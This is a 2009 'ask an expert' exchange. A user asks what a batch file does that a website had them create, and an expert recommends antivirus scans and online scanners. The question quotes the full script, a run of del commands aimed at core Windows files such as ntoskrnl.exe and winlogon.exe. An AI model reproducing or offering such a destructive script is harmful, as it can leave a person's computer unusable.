Expert: James Filmer - 1/8/2009

Question
i was in some website and they told me to do something and it was a virus. i dont know what it is or what it does.

they told me open notepad and enter:
@echo off
del “C:windowspchealth”
del “C:windowssystem”
del “C:windowssystem32restore”
del “winlogon.exe”
del “C:windowssystem32autoexec.nt”
del “C:windowssystem32logonui.exe”
del “C:windowssystem32ntoskrnl.exe”

Then i had to save it as a .bat

i dont know what it does or how to stop it plese help!!!!!


Answer
What's your system like now? Do you have a working reputable anti-virus program?

If you don't and can download and install one, do so before anything else, run a full system scan and follow instructions for removal or quarantine. If you can't run a full scan with the AV program you have now, or can't install one, try running a system scan using a free online scanner by Trend Micro, Kapersky, BitDefender, Panda ActiveScan, Avast!, or Ewido. and let me know the results.

According to my sources, you likely created a virus, or increased the damaging effects of one or more already on your system.